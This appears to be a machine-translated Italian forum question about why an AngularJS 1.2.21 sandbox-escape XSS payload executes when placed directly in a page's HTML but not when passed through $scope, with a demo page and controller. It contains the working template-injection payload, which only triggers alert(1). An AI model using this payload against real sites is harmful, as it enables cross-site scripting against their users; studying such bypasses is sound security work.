Usando una versione precedente di AngularJS: 1.2.21 dell'esempio, ci sono alcuni giochi che possono generare un XSS.
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
Ma quando questo carico utile è immagazzinato in $scope
, non funziona.
C'è un esempio dal vivo su JsBin
Se il payload viene passato direttamente nel codice HTML, l'XSS funziona correttamente. Ma se il payload viene passato dall'ambito, non funziona
Non capisco perché il secondo carico utile non venga eseguito.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Angular JS</title>
</head>
<body ng-app="jsbin">
<div ng-controller="DemoCtrl as demo">
<h1>Hello {{demo.name}}</h1>
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert('working if not in scope')"].sort(toString.constructor);}}
</div>
<script src="//cdnjs.cloudflare.com/ajax/libs/angular.js/1.2.21/angular.js"></script>
</body>
</html>
Il controller:
var app = angular.module('jsbin', []);
app.controller('DemoCtrl', function() {
this.name = 'toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);';
});